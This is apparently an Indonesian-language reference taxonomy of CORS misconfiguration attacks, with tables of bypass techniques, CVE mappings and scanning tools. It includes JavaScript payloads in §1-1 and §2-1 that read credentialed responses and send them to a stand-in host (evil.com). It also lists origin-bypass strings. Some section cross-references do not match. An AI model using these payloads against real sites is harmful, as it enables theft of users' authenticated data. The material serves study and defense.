Struktur Klasifikasi

Taksonomi ini mengklasifikasikan seluruh permukaan serangan CORS berdasarkan tiga sumbu ortogonal yang diturunkan dari analisis sistematis CVE, laporan bug bounty, penelitian akademik, dan tulisan praktisi.

Sumbu 1 — Target Mutasi (Sumbu Utama): Komponen struktural mekanisme CORS yang salah dikonfigurasi atau dieksploitasi. Sumbu ini mengorganisasi bagian utama dokumen menjadi sembilan kategori: Logika Validasi Origin, Penanganan Null Origin, Interaksi Wildcard & Kredensial, Semantik Header CORS, Mekanisme Preflight, Diferensial Parser Browser, Batas Protokol & Jaringan, Interaksi Cache, dan Eksploitasi Protokol Bersebelahan.

Sumbu 2 — Jenis Ketidaksesuaian (Lintas-Bidang): Sifat ketidakcocokan atau bypass yang diciptakan oleh setiap mutasi. Setiap teknik dalam taksonomi ini memetakan ke satu atau lebih jenis ketidaksesuaian berikut:

Jenis KetidaksesuaianDeskripsi
Validation BypassPemeriksaan origin dielakkan melalui kelemahan regex, manipulasi string, atau kesalahan logika
Trust Boundary ConfusionOrigin yang tidak tepercaya dinaikkan ke status tepercaya melalui kelemahan arsitektur
Parser DifferentialBrowser vs. server (atau server vs. server) menginterpretasikan URL/origin yang sama secara berbeda
Cache Key MismatchHeader Origin memengaruhi respons tetapi bukan bagian dari cache key
Protocol Boundary EvasionPenegakan CORS dielakkan dengan beralih ke protokol yang tidak diatur olehnya
Cookie/Credential Scope MismatchAturan SameSite, atribut Domain, atau perlindungan pelacakan berinteraksi secara tidak terduga dengan CORS

Sumbu 3 — Skenario Serangan (Pemetaan): Tempat mutasi dijadikan senjata — pencurian kredensial, eksfiltrasi data, rekon jaringan internal, cache poisoning/DoS, bypass WAF/firewall, atau rantai pengambilalihan akun. Dijelaskan secara rinci dalam §10.

Mekanisme Fundamental

CORS beroperasi sebagai relaksasi dari Same-Origin Policy (SOP). Browser mengirimkan header Origin; server merespons dengan Access-Control-Allow-Origin (ACAO) dan secara opsional Access-Control-Allow-Credentials (ACAC). Browser menegakkan kebijakan di sisi klien. Ini menciptakan ketegangan fundamental: server memutuskan siapa yang dapat membaca responsnya, tetapi melakukannya dengan mengurai input yang dapat dipengaruhi penyerang (Origin). Setiap mutasi dalam taksonomi ini mengeksploitasi aspek tertentu dari pendelegasian kepercayaan ini.


§1. Mutasi Logika Validasi Origin

Kelas kerentanan CORS yang paling umum. Server mencoba memvalidasi header Origin terhadap daftar izin, tetapi mengimplementasikan pemeriksaan secara salah, sehingga origin yang dikontrol penyerang dapat lolos validasi.

§1-1. Refleksi Origin Langsung

Server mencerminkan nilai header Origin langsung ke dalam Access-Control-Allow-Origin tanpa validasi apa pun.

SubtipeMekanismeKondisi Utama
Refleksi PenuhACAO diatur ke nilai apa pun yang muncul dalam header permintaan OriginServer menggunakan ACAO dinamis tanpa pemeriksaan apa pun
Refleksi dengan KredensialRefleksi penuh dikombinasikan dengan ACAC: true, memungkinkan pembacaan lintas-origin yang menyertakan kredensialServer menggabungkan ACAO: <reflected> + ACAC: true

Ini adalah miskonfigurasi yang paling sederhana dan paling berbahaya. Penyerang meng-hosting halaman di evil.com yang mengirimkan fetch() berkredensial ke target. Target mencerminkan evil.com di ACAO dengan kredensial yang diizinkan, dan penyerang membaca respons penuh termasuk data yang dilindungi autentikasi.

Contoh payload:

fetch('https://target.com/api/account', {credentials: 'include'})
  .then(r => r.json())
  .then(d => fetch('https://evil.com/exfil?data=' + JSON.stringify(d)));

§1-2. Bypass Validasi Berbasis Regex

Server menggunakan ekspresi reguler untuk memvalidasi origin, tetapi regex tidak cukup di-anchor atau terlalu permisif.

SubtipeMekanismeKondisi Utama
Suffix MatchRegex memeriksa apakah origin diakhiri dengan domain tepercaya (misalnya /example\.com$/)evilexample.com lolos validasi
Prefix MatchRegex memeriksa apakah origin dimulai dengan domain tepercayaexample.com.evil.com lolos validasi
Substring MatchRegex memeriksa apakah origin mengandung domain tepercayaevil.com?example.com atau example.com.evil.com lolos
Titik Tanpa EscapeTitik dalam regex tidak di-escape, sehingga cocok dengan karakter apa punexampleXcom.evil.com lolos untuk regex /example.com/
Anchor HilangRegex tidak memiliki anchor ^ atau $Berbagai payload bypass berhasil
Wildcard SubdomainRegex mengizinkan .*\.example\.com tanpa membatasi kedalamanevil.com.a.example.com melalui subdomain takeover

Contoh origin bypass untuk validasi example.com:

https://evilexample.com          (suffix match)
https://example.com.evil.com     (prefix match)
https://example.computer         (kebingungan TLD)
https://exampleXcom.evil.com     (titik tanpa escape)
https://evil.com?example.com     (substring dalam query)
https://evil.com#example.com     (substring dalam fragment)

§1-3. Bypass Operasi String

Server menggunakan operasi string non-regex (startsWith, endsWith, contains, indexOf) untuk validasi origin.

SubtipeMekanismeKondisi Utama
Bypass endsWithorigin.endsWith("example.com") cocok dengan evilexample.comTidak ada pemeriksaan batas domain sebelum suffix yang tepercaya
Bypass startsWithorigin.startsWith("https://example.com") cocok dengan https://example.com.evil.comTidak ada pemeriksaan terminasi setelah prefix yang tepercaya
Bypass indexOforigin.indexOf("example.com") !== -1 cocok dengan origin mana pun yang mengandung string tersebutTidak ada batasan posisi atau batas

§1-4. Kesalahan Implementasi Daftar Izin

Server mempertahankan daftar izin eksplisit tetapi mengimplementasikan pencarian secara salah.

SubtipeMekanismeKondisi Utama
Sensitivitas Huruf Besar/KecilPerbandingan daftar izin peka huruf besar/kecil tetapi browser mengirimkan huruf kecilKetidakcocokan EXAMPLE.COM vs example.com
Ketidakcocokan SkemaDaftar izin menyimpan https:// tetapi server tidak memeriksa skemaOrigin http:// lolos untuk daftar izin khusus HTTPS
Penghilangan PortDaftar izin tidak memperhitungkan port non-standarhttps://example.com:8443 vs https://example.com
Trailing Slash/PathOrigin dengan atau tanpa komponen path akhir menyebabkan ketidakcocokanParsing yang bergantung pada implementasi

§2. Eksploitasi Null Origin

Nilai khusus Origin: null dikirimkan oleh browser dalam beberapa konteks yang sah. Server yang memasukkan null ke dalam daftar izin tanpa disadari mempercayai berbagai konteks yang dikontrol penyerang.

§2-1. Teknik Pembuatan Null Origin

SubtipeMekanismeKondisi Utama
Sandboxed iframe<iframe sandbox="allow-scripts" src="data:text/html,..."> mengirimkan Origin: nullServer mengizinkan null dalam ACAO
URI data:Permintaan dari dokumen skema data: membawa Origin: nullSama seperti di atas
URI file:File lokal yang dibuka di browser mengirimkan Origin: nullMemerlukan korban untuk membuka file lokal
Cross-origin redirectBeberapa rantai redirect menyebabkan browser menetapkan Origin: nullTopologi redirect tertentu diperlukan
Serialized opaque originKonteks mana pun yang dianggap browser sebagai “opaque origin” mengirimkan nullKasus tepi yang didefinisikan spesifikasi

Pola eksploitasi kanonik:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>
    fetch('https://target.com/api/sensitive', {credentials:'include'})
    .then(r=>r.text())
    .then(d=>new Image().src='https://evil.com/steal?d='+encodeURIComponent(d))
  </script>">
</iframe>

§2-2. Rantai Kepercayaan Null Origin

SubtipeMekanismeKondisi Utama
Sisa Pengembangannull dimasukkan ke daftar izin selama pengembangan (misalnya untuk pengujian file://) dan dibiarkan di produksiUmum dalam framework dengan middleware CORS
Default FrameworkDefault library CORS menyertakan null dalam origin yang diizinkanDeveloper tidak menimpa default
Parsing Terlalu LuasServer mengurai nilai ACAO dari konfigurasi, memperlakukan null sebagai entri yang valid daripada kata kunci khususQuirk parsing konfigurasi

§3. Interaksi Wildcard & Kredensial

Spesifikasi CORS melarang penggabungan Access-Control-Allow-Origin: * dengan Access-Control-Allow-Credentials: true. Mutasi dalam kategori ini mengeksploitasi kesalahpahaman tentang pembatasan ini atau menemukan cara untuk mengelakkannya.

§3-1. Miskonfigurasi Wildcard

SubtipeMekanismeKondisi Utama
Bypass Wildcard + Kredensial (Bug Framework)Framework atau middleware mengizinkan penetapan ACAO: * dengan ACAC: true secara bersamaan, melanggar spesifikasiVersi framework yang rentan (misalnya CVE-2024-25124 di Go Fiber)
Wildcard pada Endpoint SensitifACAO: * pada endpoint yang mengandalkan autentikasi non-cookie (token Bearer, API key dalam header)Mekanisme autentikasi tidak menggunakan cookie
Wildcard SubdomainACAO: *.example.com bukan nilai header CORS yang valid, tetapi beberapa middleware kustom mengimplementasikannyaPenanganan CORS kustom menginterpretasikan wildcard subdomain

§3-2. Refleksi Dinamis yang Menyertakan Kredensial

Ketika developer menyadari bahwa mereka tidak dapat menggunakan * dengan kredensial, mereka mengimplementasikan refleksi dinamis (§1-1) sebagai solusi sementara, yang sering menciptakan kerentanan yang lebih parah.

SubtipeMekanismeKondisi Utama
Reflect-All-with-CredentialsServer mencerminkan origin apa pun + ACAC: true sebagai “perbaikan” untuk keterbatasan wildcardDeveloper salah memahami spesifikasi CORS
Conditional Credential ToggleServer mencerminkan origin tetapi hanya menambahkan ACAC: true untuk origin “tepercaya” (dengan pemeriksaan kepercayaan yang rusak)Pemeriksaan kepercayaan dapat dilewati per §1-2 atau §1-3

§3-3. Paparan Data Tanpa Kredensial

SubtipeMekanismeKondisi Utama
Data Sensitif Tanpa AutentikasiACAO: * pada endpoint yang mengembalikan data sensitif yang tidak dilindungi cookieAPI mengembalikan PII, data internal, atau konfigurasi tanpa autentikasi
Wildcard Jaringan InternalLayanan internal menggunakan ACAO: * dengan asumsi isolasi jaringan memberikan keamananPenyerang mendapatkan posisi jaringan internal mana pun (§8)

§4. Mutasi Semantik Header CORS

Eksploitasi header respons CORS individual di luar ACAO dan ACAC.

§4-1. Eksploitasi Exposed Headers

SubtipeMekanismeKondisi Utama
Over-Exposed Custom HeadersAccess-Control-Expose-Headers mengungkapkan header kustom yang sensitif terhadap keamanan (token, ID internal, info debug)Server mengekspos header yang berisi data sensitif
Kebocoran Header AuthorizationAccess-Control-Expose-Headers: Authorization memungkinkan pembacaan lintas-origin token autentikasiToken dikembalikan dalam header respons

§4-2. Penyalahgunaan Allowed Headers

SubtipeMekanismeKondisi Utama
Reflected XSS melalui Custom HeaderServer mencerminkan nilai header kustom dalam respons tanpa encoding; Access-Control-Allow-Headers mengizinkan header kustom lintas-originXSS dalam header yang dicerminkan + CORS mengizinkan pengirimannya
Header InjectionServer tidak memvalidasi Origin untuk karakter ilegal seperti \r\n, memungkinkan HTTP header injectionPerilaku lama IE/Edge; server yang tidak melakukan sanitasi

§4-3. Eksploitasi Allowed Methods

SubtipeMekanismeKondisi Utama
Metode yang Terlalu PermisifAccess-Control-Allow-Methods: * atau mencantumkan metode berbahaya (PUT, DELETE, PATCH)Dikombinasikan dengan bypass origin untuk mengaktifkan operasi yang mengubah state
Method OverrideMenggunakan header X-HTTP-Method-Override untuk mengonversi permintaan sederhana (POST) menjadi metode non-sederhana tanpa memicu preflightServer mendukung method override; CORS mengizinkan header override

§4-4. Penyalahgunaan Max-Age

SubtipeMekanismeKondisi Utama
Preflight Cache Berumur Sangat PanjangAccess-Control-Max-Age diatur ke nilai sangat tinggi, meng-cache respons preflight yang permisifPenyerang memicu satu preflight yang berhasil, memanfaatkan cache yang diperpanjang
Zero Max-AgeAccess-Control-Max-Age: 0 memaksa preflight pada setiap permintaan, memungkinkan DoS melalui amplifikasi permintaanPenyerang memicu banyak pasangan preflight + permintaan aktual

§5. Mutasi Mekanisme Preflight

Preflight CORS (permintaan OPTIONS) adalah penjaga gerbang untuk permintaan non-sederhana. Mutasi di sini melewati atau melemahkan pemeriksaan preflight.

§5-1. Eksploitasi Simple Request

SubtipeMekanismeKondisi Utama
Manipulasi Content-TypeMempertahankan Content-Type sebagai text/plain, application/x-www-form-urlencoded, atau multipart/form-data untuk menghindari pemicu preflightServer menerima jenis konten ini untuk endpoint API
Simple Header ConstraintMembatasi permintaan hanya pada header yang masuk daftar aman CORS untuk melewati preflight sepenuhnyaEndpoint target tidak memerlukan header kustom
POST dengan form encodingMengirimkan payload seperti JSON melalui application/x-www-form-urlencoded untuk menghindari preflightServer mendeserialisasi data form sebagai JSON atau menerima keduanya

§5-2. Manipulasi Respons Preflight

SubtipeMekanismeKondisi Utama
Permissive OPTIONS HandlerHandler OPTIONS mengembalikan ACAO: * atau mencerminkan origin terlepas dari kebijakan endpoint aktualHandler OPTIONS dan GET/POST memiliki logika CORS yang berbeda
Missing Preflight HandlerServer mengembalikan 404/405 untuk OPTIONS tetapi memproses permintaan aktual tanpa penegakan CORSFramework tidak memblokir permintaan aktual ketika preflight gagal
Preflight Cache PoisoningOrigin penyerang menerima respons preflight yang permisif yang di-cache, berlaku untuk permintaan berikutnya dari origin lainCache tidak menggunakan Origin sebagai key untuk respons OPTIONS

§5-3. Vektor Serangan Bebas-Preflight

SubtipeMekanismeKondisi Utama
HTML Form SubmissionMenggunakan <form> dengan method="POST" melewati CORS sepenuhnya (tidak ada pemeriksaan Origin di server)Server mengandalkan CORS alih-alih CSRF token
Side-Effect Tag Image/Script<img src="https://target.com/api/action"> memicu permintaan GET tanpa CORSOperasi yang mengubah state sensitif pada endpoint GET
Permintaan Berbasis NavigasiNavigasi window.location atau tag <a> tidak menegakkan CORSServer melakukan tindakan pada permintaan navigasi

§6. Mutasi Diferensial Parser Browser

Browser yang berbeda mengurai nama domain, URL, dan karakter khusus secara berbeda. Diferensial ini dapat melewati validasi origin sisi server yang mengasumsikan perilaku browser yang seragam.

§6-1. Injeksi Karakter Khusus

SubtipeMekanismeBrowser TerpengaruhKondisi Utama
Bypass BacktickSafari menerima backtick (`) dalam hostname: http://example.com`.evil.com — regex server mungkin melihat example.com sebagai hostSafariRegex server tidak memperhitungkan backtick sebagai delimiter
Bypass UnderscoreChrome, Firefox, Safari menerima underscore dalam subdomain: http://example.com_.evil.comChrome, Firefox, SafariRegex rusak pada underscore sebagai karakter yang tidak terduga
Injeksi Curly BraceSafari menerima { dalam hostname: http://example.com{.evil.comSafariKebingungan parser antara komponen hostname
Karakter PipeBeberapa browser menerima `` dalam posisi hostname tertentuBergantung pada browser
Tanda Seru! dalam label subdomain diterima oleh beberapa browserBergantung pada browserSama seperti di atas

Metodologi pengujian: Fuzz header Origin secara sistematis dengan karakter dari rentang ASCII dan Unicode, menguji karakter mana yang dikirimkan oleh setiap browser dan bagaimana regex server target menanganinya. URL validation bypass cheat sheet PortSwigger menyediakan data perilaku browser karakter-per-karakter yang komprehensif.

§6-2. Kebingungan Komponen URL

SubtipeMekanismeKondisi Utama
Userinfo Confusionhttps://example.com@evil.com — beberapa parser mengekstrak example.com sebagai host, yang lain melihat evil.comParser server berbeda dari parser browser
Fragment Injectionhttps://evil.com#example.com — pemeriksaan string-contains server cocok pada fragmentServer menggunakan indexOf/contains untuk validasi
Query Parameter Injectionhttps://evil.com?ref=example.com — mirip dengan fragment injectionServer menggunakan pencocokan substring
Port Confusionhttps://example.com:evil.com — diferensial parser pada batas port vs. hostnameParser URL non-standar

§6-3. Diferensial Encoding

SubtipeMekanismeKondisi Utama
Percent-Encoding%65xample.com (huruf ‘e’ yang di-encode) dapat melewati perbandingan string tetapi di-resolve secara identikServer membandingkan string mentah; browser menormalisasi
Unicode/PunycodeIDN homograph: exаmple.com (huruf ‘а’ Sirilik) vs example.comServer memvalidasi Unicode; DNS me-resolve Punycode
Double Encoding%2565xample.com yang di-decode dua kali menghasilkan example.comServer men-decode sekali; komponen hilir men-decode lagi

§7. Eskalasi Batas Kepercayaan

Miskonfigurasi CORS menjadi sangat dapat dieksploitasi ketika dikombinasikan dengan kerentanan lain yang memberikan pijakan di origin yang tepercaya.

§7-1. Eskalasi Berbasis Subdomain

SubtipeMekanismeKondisi Utama
XSS pada Subdomain TepercayaCORS mempercayai *.example.com; penyerang menemukan XSS di blog.example.com dan menggunakannya untuk membuat permintaan CORS berkredensial ke api.example.comSubdomain mana pun memiliki XSS + CORS mempercayai semua subdomain
Subdomain TakeoverCORS mempercayai *.example.com; old.example.com memiliki catatan DNS menggantung (CNAME ke layanan yang sudah tidak disediakan)Subdomain takeover memungkinkan + CORS mempercayai semua subdomain
Layanan Subdomain Pihak KetigaCORS mempercayai subdomain; sebuah subdomain mengarah ke layanan pihak ketiga (GitHub Pages, Heroku, dll.) di mana penyerang dapat meng-hosting kontenLayanan pihak ketiga mengizinkan konten kustom

Amplifikasi dampak: Eksploit yang di-hosting pada subdomain secara otomatis melewati pembatasan cookie SameSite=Lax karena mereka berbagi domain yang sama yang dapat didaftarkan. Artinya, eksploit CORS berbasis subdomain dapat menyertakan kredensial bahkan ketika SameSite dikonfigurasi dengan benar.

§7-2. Protocol Downgrade

SubtipeMekanismeKondisi Utama
Kepercayaan HTTP-ke-HTTPSCORS mempercayai http://example.com bersama https://example.com; penyerang melakukan MitM pada koneksi HTTPTidak ada HSTS; CORS mengizinkan origin HTTP untuk endpoint HTTPS
Eksploitasi Mixed ContentSubdomain tidak aman (HTTP) yang dipercaya domain utama yang aman (HTTPS)Browser mengizinkan mixed-content dalam konteks tertentu

§7-3. Kepercayaan Origin Pihak Ketiga

SubtipeMekanismeKondisi Utama
Kompromi Domain MitraCORS mempercayai domain mitra; domain mitra dikompromikan atau memiliki XSSKepercayaan yang terlalu luas terhadap origin eksternal
Kepercayaan Origin CDNCORS mempercayai domain CDN (misalnya *.cloudfront.net) yang digunakan bersama oleh banyak tenantTenant CDN lain dapat menyajikan JavaScript yang dikontrol penyerang
Kepercayaan OAuth ProviderCORS mempercayai domain OAuth provider; penyerang meng-hosting konten pada provider yang samaSaaS multi-tenant dipercaya sebagai origin

§8. Mutasi Batas Jaringan & DNS

Serangan yang mengeksploitasi CORS untuk melintasi batas jaringan atau menggunakan teknik tingkat DNS untuk mengelakkan pembatasan origin.

§8-1. Eksploitasi Jaringan Internal

SubtipeMekanismeKondisi Utama
Intranet CORS WildcardLayanan internal menggunakan ACAO: * dengan asumsi perimeter jaringan memberikan keamananHalaman penyerang dimuat di browser korban pada jaringan internal
Eksploitasi Layanan LocalhostServer pengembangan lokal atau aplikasi desktop dengan UI web menggunakan CORS yang permisifKorban mengunjungi halaman penyerang saat menjalankan layanan lokal (misalnya CVE-2024-28224 Ollama)
Akses Cloud MetadataMiskonfigurasi CORS dikombinasikan dengan pola mirip SSRF untuk mengakses cloud metadata (169.254.169.254)Layanan internal mencerminkan header CORS + endpoint metadata yang dapat diakses

§8-2. Bypass Private Network Access (PNA)

SubtipeMekanismeKondisi Utama
Ketiadaan PNA PreflightBrowser yang belum menegakkan PNA preflight (Firefox, Chrome lama) mengizinkan permintaan lintas-origin ke IP privatBrowser target tidak mengimplementasikan PNA
Miskonfigurasi Header PNAServer mengembalikan Access-Control-Allow-Private-Network: true tanpa validasi origin yang tepat (CVE-2024-6221 di Flask-CORS)Default framework mengizinkan akses jaringan privat
Eksploitasi Router/IoTRouter rumah dan perangkat IoT dengan antarmuka web tidak memiliki perlindungan CORS sama sekaliBrowser korban berada di jaringan yang sama dengan perangkat target

§8-3. DNS Rebinding

SubtipeMekanismeKondisi Utama
DNS Rebinding KlasikDNS penyerang awalnya me-resolve ke IP penyerang (menyajikan halaman eksploit), lalu melakukan rebind ke IP internal target. Browser menganggapnya sebagai same-origin.Layanan target tidak memvalidasi header Host; DNS TTL kedaluwarsa
Rebinding Berbasis TTLMengeksploitasi kedaluwarsa DNS TTL untuk mengubah resolusi IP di tengah sesiTTL rendah pada catatan DNS penyerang
DNS Rebinding + CORSDNS penyerang pertama-tama mengembalikan header CORS yang permisif dari servernya, lalu melakukan rebind ke target. Kebijakan CORS yang di-cache berlaku untuk respons target.Layanan target mewarisi izin CORS yang di-cache
Service Worker PersistenceMenggabungkan DNS rebinding dengan registrasi service worker untuk akses persistenTarget mengizinkan registrasi service worker lintas-origin

§8-4. Eksploitasi Berbasis Typosquatting

SubtipeMekanismeKondisi Utama
Typosquat Domain InternalDaftarkan typosquat domain korporat internal; karyawan yang salah mengetik URL mendarat di halaman penyerang, yang menyelidiki miskonfigurasi CORS internalLayanan internal memiliki CORS yang permisif; karyawan mengunjungi typosquat
Service Worker InjectionTeknik of-CORS: halaman typosquat mendaftarkan service worker yang terus-menerus menyelidiki endpoint internal untuk mencari miskonfigurasi CORSDikombinasikan dengan registrasi service worker browser

§9. Mutasi Interaksi Cache

Respons CORS yang berinteraksi dengan lapisan caching dapat dieksploitasi untuk cache poisoning, denial of service, atau kebocoran data.

§9-1. Ketiadaan Vary: Origin

SubtipeMekanismeKondisi Utama
Cross-Origin Cache PoisoningServer mengembalikan header CORS yang bergantung pada origin tetapi tanpa Vary: Origin. CDN meng-cache respons dengan ACAO: evil.com, menyajikannya kepada permintaan yang sah.CDN/proxy meng-cache respons; tidak ada header Vary: Origin
Cache Poisoning DoSPenyerang mengirimkan permintaan dengan Origin: evil.com, mendapatkan respons yang di-cache dengan ACAO: evil.com. Permintaan lintas-origin yang sah dari origin tepercaya gagal karena ACAO yang di-cache tidak cocok.Sama seperti di atas; digunakan untuk denial of service
Reverse Cache PoisoningPermintaan sah yang di-cache dengan ACAO: trusted.com. Permintaan penyerang disajikan dari cache, menerima nilai ACAO yang tepercaya.Origin tidak ada dalam cache key; respons dapat di-cache

§9-2. Eksploitasi Browser Cache

SubtipeMekanismeKondisi Utama
Berbagi Cache Fetch/NavigationCache privat browser dibagikan antara fetch() dan navigasi. Penyerang melakukan pre-poison cache melalui fetch() yang diaktifkan CORS dengan header berbahaya; korban bernavigasi ke URL dan menerima respons yang diracuni.Sumber daya dapat di-cache; endpoint lolos preflight
Preflight Cache PoisoningRespons preflight untuk origin penyerang di-cache; permintaan berikutnya dari origin lain menggunakan kembali preflight yang di-cacheCache preflight tidak membedakan origin dengan benar (misalnya Mozilla Bug 1200869)
Credential Flag Cache ConfusionCache key yang sama dihasilkan untuk permintaan preflight yang hanya berbeda dalam flag kredensial; permintaan berkredensial menggunakan kembali preflight yang tidak berkredensialBug pembuatan cache key browser

§9-3. Masalah Spesifik CDN

SubtipeMekanismeKondisi Utama
CDN Mengabaikan VaryCDN seperti Cloudflare secara historis mengabaikan header Vary, menyajikan respons yang sama yang di-cache terlepas dari OriginPerilaku CDN tertentu
Pengecualian Cache Key di EdgeCDN mengecualikan Origin dari cache key demi performa; respons yang bergantung pada origin di-cache secara salahKonfigurasi CDN memprioritaskan tingkat cache hit

§10. Eksploitasi Protokol Bersebelahan

Protokol yang bersebelahan dengan HTTP yang melewati atau tidak diatur oleh CORS, memungkinkan akses data lintas-origin.

§10-1. Serangan WebSocket Lintas-Origin

SubtipeMekanismeKondisi Utama
Cross-Site WebSocket Hijacking (CSWSH)Handshake WebSocket (Upgrade: websocket) tidak tunduk pada CORS. Browser mengirimkan cookie dengan permintaan upgrade. Halaman penyerang membuka WebSocket ke target, mendapatkan akses baca/tulis penuh.Server tidak memvalidasi Origin pada WebSocket upgrade
Bypass SOP melalui Protokol WSSetelah koneksi WebSocket terjalin (101 Switching Protocols), transfer data terjadi melalui protokol ws:// / wss://, sepenuhnya di luar tata kelola SOP/CORSServer menerima koneksi WebSocket dari origin mana pun

§10-2. Eksploitasi Fallback JSONP

SubtipeMekanismeKondisi Utama
Endpoint JSONP LamaEndpoint mendukung CORS dan JSONP (?callback=) sekaligus. Bahkan dengan CORS yang ketat, penyerang menggunakan tag <script> untuk memuat respons JSONP, melewati CORS sepenuhnya.Endpoint JSONP ada berdampingan dengan API yang dilindungi CORS
JSONP Callback InjectionParameter callback mengizinkan injeksi JavaScript sembarangSanitasi callback yang tidak memadai

§10-3. postMessage & window.opener

SubtipeMekanismeKondisi Utama
Bypass Origin postMessageTarget menggunakan postMessage dengan targetOrigin: "*" wildcard atau tidak memvalidasi event.originKomunikasi lintas-origin tanpa pemeriksaan origin yang tepat
Eksploitasi window.openerHalaman yang dibuka melalui window.open() mempertahankan referensi opener; penyerang membaca/memanipulasi state opener secara lintas-originTidak ada header Cross-Origin-Opener-Policy (COOP)
SubtipeMekanismeKondisi Utama
Bypass SameSite melalui SubdomainEksploit CORS yang di-hosting pada subdomain target melewati SameSite=Lax karena subdomain bersifat same-siteXSS atau subdomain takeover (§7-1)
Interaksi Tracking ProtectionFirefox ETP dan default SameSite=Lax Chrome memblokir cookie pihak ketiga, membatasi eksploitasi CORS — tetapi permintaan same-registrable-domain tetap menyertakan cookieEksploit harus berada pada eTLD+1 yang sama atau subdomain
Navigasi Top-Level dengan CookieSameSite=Lax mengizinkan cookie pada navigasi GET tingkat atas. Penyerang menggunakan redirect window.location ke target, lalu membaca respons melalui CORS pada halaman same-origin berikutnya.Rantai multi-langkah yang mengeksploitasi pengecualian Lax

§11. Pemetaan Skenario Serangan (Sumbu 3)

SkenarioArsitektur / KondisiKategori Mutasi Utama
Pencurian Kredensial / Session HijackingAPI terautentikasi dengan miskonfigurasi CORS§1 + §2 + §3-2
Eksfiltrasi Data SensitifAPI mengembalikan PII/secret dengan CORS permisif§1 + §2 + §3-3 + §4-1
Rekon Jaringan InternalBrowser korban di jaringan internal; penyerang di eksternal§8-1 + §8-2 + §8-3
Cache Poisoning / DoSCDN atau proxy meng-cache respons yang bergantung pada origin§9-1 + §9-2 + §9-3
Bypass WAF / FirewallTyposquatting + penyelidikan CORS layanan internal§8-4 + §8-1
Rantai Pengambilalihan AkunCORS + XSS pada subdomain + bypass SameSite§7-1 + §10-4 + §1
CSRF Mengubah State melalui CORSMetode permintaan non-sederhana diaktifkan lintas-origin§4-3 + §5-1
Eksploitasi Layanan LokalAplikasi desktop atau server pengembangan dengan UI web§8-1 + §8-3 + §3-1

Pemetaan CVE / Bounty (2024–2025)

Kombinasi MutasiCVE / KasusDampak / Bounty
§1-1 + §3-2CVE-2024-8183 (Prefect)Akses data lintas-origin yang tidak sah ke database orkestrasi workflow. Kebocoran data, hilangnya kerahasiaan.
§3-1CVE-2024-25124 (Go Fiber v2)Middleware CORS framework mengizinkan ACAO: * + ACAC: true secara bersamaan, melanggar spesifikasi. CVSS 9.4.
§1-1 + §3-2CVE-2024-41657 (Casdoor ≤1.577.0)Kerentanan logika dalam beego CorsFilter mengizinkan situs web mana pun membuat permintaan lintas-origin berkredensial.
§1-1 + §8-1CVE-2025-25301/25302 (rembg)CORS default yang lemah + SSRF mengizinkan situs web penyerang menjangkau server jaringan internal.
§1-1CVE-2025-55462 (Eramba)Refleksi origin dengan ACAC: true — origin yang dikontrol penyerang dicerminkan di ACAO.
§8-2CVE-2024-6221 (Flask-CORS 4.0.1)Access-Control-Allow-Private-Network: true ditetapkan secara default tanpa opsi konfigurasi.
§1-1 + §5-2CVE-2024-47084 (Gradio)Validasi origin CORS dilewati saat cookie ada; origin mana pun dapat mengakses server Gradio lokal.
§8-3CVE-2024-28224 (Ollama)Serangan DNS rebinding mengakses Ollama API tanpa otorisasi. Eksfiltrasi data dalam ~3 detik.
§8-4 + §8-1Tesla Internal (of-CORS)Domain typosquat (eslamotors.com) menyelidiki miskonfigurasi CORS jaringan internal melalui service worker.
§6-1Yahoo View (Bug Bounty)Bypass karakter backtick Safari dalam validasi origin.
§1-2Google (Bug Bounty)Bypass regex validasi origin. Bounty $2.500.
§9-1Prometheus (GitHub #15406)Ketiadaan Vary: Origin memungkinkan cache poisoning terhadap endpoint metrik yang diaktifkan CORS.
§5-2 + §9-2Mozilla Bug 1200869Cache poisoning preflight CORS — ketidakcocokan flag kredensial dalam pembuatan cache key.

Alat Deteksi

Ofensif / Pemindaian

AlatCakupan TargetTeknik Utama
CORScanner (Python)Pemindaian miskonfigurasi CORS massal yang cepatMenguji refleksi origin, null, prefix/suffix, kepercayaan subdomain di berbagai URL
Corsy (Python)Pemindai miskonfigurasi CORS ringanMemindai semua pola miskonfigurasi yang diketahui termasuk bypass karakter khusus
CORStest (Python)Detektor miskonfigurasi CORS sederhanaMenguji developer backdoor, refleksi origin, null, wildcard pre/post-domain
Corscan (Python)Pemeriksa CORS canggih dengan deteksi WAFPemrosesan URL tunggal/batch dengan strategi bypass dinamis
of-CORS (Aplikasi Web)Penyelidikan CORS jaringan internal melalui typosquattingRegistrasi service worker + penyelidikan endpoint internal terus-menerus
Burp Suite — Trusted Domain CORS Scanner (BApp)Pengujian CORS dalam proxyMengimplementasikan payload dari URL validation bypass cheat sheet; pemindaian pasif + aktif

Defensif / Deteksi

AlatCakupan TargetTeknik Utama
PortSwigger URL Validation Bypass Cheat SheetReferensi untuk pengujian regex/parserPayload interaktif untuk kebingungan domain, karakter khusus, diferensial encoding
OWASP ZAP CORS ScannerPengujian CORS pasif/aktif dalam proxyMenandai header CORS yang permisif selama analisis lalu lintas proxy
CSP EvaluatorAnalisis kebijakan pelengkapMemvalidasi Content Security Policy yang dapat memitigasi beberapa eksploitasi CORS
Mozilla ObservatoryAudit keamanan header HTTPMemeriksa header keamanan yang hilang termasuk masalah terkait CORS

Penelitian / Fuzzing

AlatCakupan TargetTeknik Utama
Singularity of OriginPlatform serangan DNS rebindingInfrastruktur DNS rebinding penuh untuk pengujian serangan CORS + batas jaringan
BypassTrackingProtection (GitHub)Pengujian perlindungan pelacakan browserMenguji perilaku cookie/kredensial lintas-browser untuk kelayakan eksploitasi CORS
PayloadsAllTheThings — CORSReferensi payloadPayload eksploitasi CORS komprehensif yang diorganisir berdasarkan teknik

Ringkasan: Prinsip-Prinsip Inti

Properti fundamental yang membuat seluruh ruang mutasi CORS menjadi mungkin adalah pendelegasian keputusan kontrol akses ke server berdasarkan input yang dapat dipengaruhi penyerang — header Origin. Tidak seperti autentikasi (yang memverifikasi pengguna) atau otorisasi (yang memverifikasi izin), CORS memverifikasi konteks pemanggil — dan konteks ini sangat mudah dipalsukan di tingkat HTTP. Browser adalah satu-satunya penegak; klien non-browser mana pun mengabaikan CORS sepenuhnya. Ini menciptakan model keamanan di mana server harus mengimplementasikan dengan benar apa yang pada dasarnya adalah ACL berbasis origin menggunakan pencocokan string terhadap input yang sebagian dikontrol penyerang.

